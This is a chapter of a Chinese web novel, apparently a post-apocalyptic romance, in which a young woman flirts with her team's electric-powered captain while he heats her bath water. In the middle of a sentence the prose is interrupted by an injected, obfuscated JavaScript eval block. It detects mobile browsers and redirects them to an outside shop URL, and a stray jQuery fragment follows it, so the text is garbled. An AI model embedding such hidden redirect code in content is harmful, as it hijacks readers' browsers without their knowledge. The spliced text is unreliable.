边上的石田文都忍不住冷哼了一声:“你倒是会想。队长可不像我们这么好说话。”
王宏强还不放弃,附和道:“就是。”
见孟启林也犹豫,沈青芜眨巴着眼睛,拽着孟启林的袖子往下拖:“我们去问问他嘛,就问一下,不行就算了。”
孟启林被她磨得没办法,想着到时候陆云宴拒绝了,自然就不会再多说什么了:“好,那我先给你把水提到房间。”
两人一起下楼。
现在已经到了傍晚,没有灯,一楼客厅昏暗,陆云宴正坐在沙发上,后背靠着沙发垫,腿随意地伸展着,窗外透进来的一点月光,把他的轮廓勾勒得半明半暗。听到脚步声,他偏头看过来。
孟启林对着陆云宴明显更没有气势,他尴尬地站在沙发旁边,挠了挠后脑勺:“那个……陆哥,有个事儿想麻烦你一下……”
陆云宴没说话,只是安静的看他。孟启林就说不下去了,他回头跟沈青芜嘀咕:“要不,算了?”
沈青芜拍了孟启林一下,从他身后探出半个身子。怎么能算了呢,她绕了这么一大圈就是为了跟陆云宴搭上话啊。虽然要维持和孟启林的娇气女友人设,但她可不会忘记自己最主要的任务还是陆云宴。
她双手合十举在胸前,眼巴巴地看着陆云宴:“队长,我刚才找石哥要了半桶水想洗澡,但是水太凉了……启林的火不行,会把桶烧坏,所以想问问你,你的电……能不能像热得快那样,把水加热啊。”
陆云宴听完,眉头皱着,看起来不大乐意。
孟启林看见,又拉着沈青芜:“青芜要不算了,陆哥每天也挺累的。”
沈青芜晃开孟启林的手,又往前蹭了半步,蹲在沙发旁边,看着陆云宴娇声娇气的请求:“拜托了队长,我真的好久没洗过澡了……”
陆云宴的视线落在她脸上。客厅光线暗,但月光正好从她身后打过来,把她蓬松的碎发镀上一层银白的边。她仰着脸看他,眼睛亮晶晶的,嘴唇微微嘟着,整个人像一只蹲在脚边讨食的小猫。可是,她好像对所有人都是这样的。
他看了她两秒,然后移开了视线,站起来往楼梯走。
“走吧。”
沈青芜和孟启林都没料到他答应得这么干脆,沈青芜愣了一下才反应过来,立马笑起来:“谢谢队长!”她也站起来,跟着他走上楼梯。
刚上一个台阶,陆云宴停下来,他回头看向孟启林:“一楼需要有人守着。”
孟启林停住脚步:“那…那我守着,陆哥,我等你上去忙完下来,辛苦陆哥了。”
孟启林是真心的感谢的。沈青芜毕竟是因为自己才加入的,今天无论是石田文还是陆云宴虽然态度不好但都为了他帮忙了,整个小队他只和沙景宁在末世前认识,他也没想到一向冷淡的队长会给他面子帮沈青芜。
陆云宴嗯了一声,也就是默认了,他继续上楼。
沈青芜‘哒哒哒’的在后面跟着,她的那个小房间门半掩着:“那个房间。”她指了指。
跟在陆云宴身后进去,然后像是顺手一样把门给带上了。房门合拢的“咔嗒”一声在安静的房间里格外清晰。
走在前面的陆云宴脚步顿了一下。
沈青芜没解释为什么关门,就已经跑到房间内水桶旁蹲下来,仰头笑呵呵朝他招手:“队长,你过来试试看。能不能控制得用一点点电,像热得快那样就行。”
陆云宴走过去,在她面前蹲下。两个人隔着一桶水的距离,陆云宴垂眼看着水面,伸出手,掌心朝下。几缕蓝色的电弧从指缝间窜出,噼啪作响,在昏暗的房间里把两个人的脸映得明明暗暗。
沈青芜被那弧光的亮度和声音吓了一跳,有一种闪电打在她面前的感觉。
陆云宴注意到了,把手收了回去,再重新尝试的时候,电弧明显细了很多,像头发丝一样纤细的蓝线。他慢慢地把手伸到水面之上,让那缕细电探入水中。电流入水的瞬间,水面激起一圈微小的漩涡,发出细微的“滋滋”声。
沈青芜盯着旋转的水面看了几秒:“哇,还挺神奇的。”
陆云宴也不说话,房间里一下安静得只剩下水桶里细密的“滋滋”声。沈青芜蹲在桶边,盯着那几缕蓝白色的电弧从陆云宴指间蹿出,探入水中,激起一圈又一圈细小的涟漪。水在慢慢变热,水面飘起一丝极淡的白雾。
她看了几秒,然后目光就偏了,从水面,移到那只手,再沿着手腕,小臂,肩膀,一路往上滑过去,最后落在陆云宴的脸上。
她蹲着,歪了歪头,视线大剌剌地在他脸上游走,半点没打算掩饰。
陆云宴的五官其实生得很好,只是看着没什么表情,眉眼间又带着一股冷冽疏离的劲儿,寻常人不敢多看一眼。此刻在昏暗的房间里,半张脸被弧光映亮,半张脸沉在阴影里,反倒把那副骨相衬得越发分明。眉骨很高,眉毛浓黑且凌厉,眼窝微微内陷,底下压着一双深邃的眼睛,瞳仁在电光里泛着极淡的蓝色。鼻梁挺直,从眉心一路滑下去,线条利落干净。嘴唇偏薄,抿着的时候带一点冷硬的弧度,下颌角的线条收得很紧,喉结随着他垂头的动作微微滚动了一下。
沈青芜的目光从那里滑过去,又绕回来,在他脸上来回转了两圈。
陆云宴当然察觉到了。因为她的毫不掩饰。
他也偏过头来看她,目光落进她那双亮晶晶的眼睛里。两人隔着一桶水的距离对视,沈青芜的眼里半点心虚都没有,反而弯着嘴角冲他笑了一下。
“你看什么?”陆云宴开口,声音低低的,好像不带什么情绪。
沈青芜也不躲,干脆利落地答:“看你啊。”
陆云宴没接话,视线又落回水面上,似乎打算就这么揭过去。
沈青芜却往前蹭了蹭,手肘撑在膝盖上,托着腮看他:“怎么,你不爱让别人看啊?”
她顿了顿,语气里带着点天真的得意:“那你就不如我咯,我可喜欢让别人看了。因为别人看到我,都会夸我好看。”
她说着,自己先笑了,眼尾弯弯的,但理直气壮,没有丝毫不好意思。
陆云宴低着头没说话,指尖还悬在水面上,电弧在水里游走。
沈青芜却不打算放过他。她往前倾了倾身子,把脸凑到他的视野正中央,下巴微抬,眨了一下眼睛:“那,你呢?你看到我,觉得我好看吗?”
这一下,她整个人都闯进了他的视线。
房间很暗,只有窗外的月光和那一点微弱的蓝光从水面映上来,可沈青芜的脸却亮得毫不含糊。她皮肤白皙,生得明艳,是那种走在人群里一眼就能被看见的长相。眉形修长舒展,眼睛大而亮,眼尾微微上挑,笑起来的时候像含着一汪碎光。鼻梁秀挺,唇形饱满,唇色是天然的绯红,此刻微微弯着,带着一点娇俏的期待。她的皮肤在月光和电光的交织下泛着莹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851123|208697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
润的白,耳边的碎发蓬松地翘着。
陆云宴抬眼的时候,那张脸就在他面前不到一尺的地方。
他的瞳孔几不可察地缩了一下。
只是一秒,极短的一秒,短到如果不是沈青芜正一眨不眨地盯着他,根本不可能捕捉到。他的目光在她脸上停了一瞬,然后他垂下了眼,重新看向水面。喉结动了一下,声音比刚才更低了些。
“好看。”他没有选择撒谎。
但只说了两个字,很简短。
沈青芜得到了想要的回答,嘴角的弧度又翘高了几分,满意地“嗯”了一声,然后也跟着垂下眼,去看桶里的水。水的温度应该已经变了,有更多的白色的雾气蒸腾起来,带着一股潮湿的温度扑在脸上。
“我也觉得你好看。”她看着冒泡的水说,说得随随便便的,好像没什么真心,像是在商业互夸。
陆云宴却在听到后,指尖顿了一下,电弧有一瞬间的紊乱,“啪”地爆了一个小小的火花,在水面上弹了一下。但他很快就稳住了,表情也没有太大变化,只有喉结又滚了一次。
沈青芜看到了,但没戳破。两个人就这么面对面蹲着,盯着桶里的水。水面被电流搅动,转出一个小小的漩涡,水泡从底下冒上来,咕嘟咕嘟地碎开。
沈青芜歪着头看了一会儿,忽然“唉”了一声,像是突然想起了什么。她抬起眼,从水面上方看过去,目光落在陆云宴的侧脸上,声音轻轻的,带着一点好奇和一点别的什么:“队长,水能导电对吧?”
陆云宴偏过头来看她一眼,没说话,但点了下头,这很简单,不然为什么水会被电加热。
沈青芜眨眨眼,好像很无辜一样:“那……我用这个水洗澡,你的电会不会电到我啊?”
她的语气拖得有点长,尾音微微上扬,带着一点故作天真的探究。她歪着头看他,嘴角噙着一抹笑,眼睛在昏暗里亮得有些过分。
“你的电,电人是什么感觉啊?会~疼~吗~”
最后那半句,语调更软了,明明好像是好奇的提问,却又不像那么回事。
陆云宴的呼吸有一瞬间的凝滞。
他不知道想到了什么,眼底的光闪了一下,手指猛地一颤,掌心的电弧骤然增大。一道刺眼的蓝白色光芒从指尖炸开,“啪”的一声脆响,桶沿的铁环被烧出一小圈焦黑,空气里立刻弥漫开一股金属烧灼的糊味。
“啊!”
沈青芜被他这突然的动作吓了一跳,整个人往后一仰,惊呼了一声,一屁股跌坐在地上。掌心硌在粗糙的水泥地面上,蹭得有些发疼。
陆云宴几乎是下意识的,手一伸就抓住了她的手腕。
他的手很大,五指收拢的时候把她纤细的手腕整个圈住了。掌心干燥而温热,指腹上有一层薄茧,贴在她手腕内侧的皮肤上,触感粗粝而分明。那种力道带着明显的急切,像是怕她摔得更重。
“你没事吧?”
他问了一句,声音比刚才急促了些,眉头拧着。
沈青芜被他拉着站起来,低头看了看自己的手,又抬头看他,瘪着嘴跺了一下脚:“你干嘛啊!吓到我了!”
陆云宴已经松开了她的手腕,退开半步,脸上的神色恢复了几分平静,只有耳尖在昏暗里悄悄地红了一点。他垂下眼,声音压得很低:“……这个异能掌握不好。”
他收回了手:“水应该热了,你试试吧。”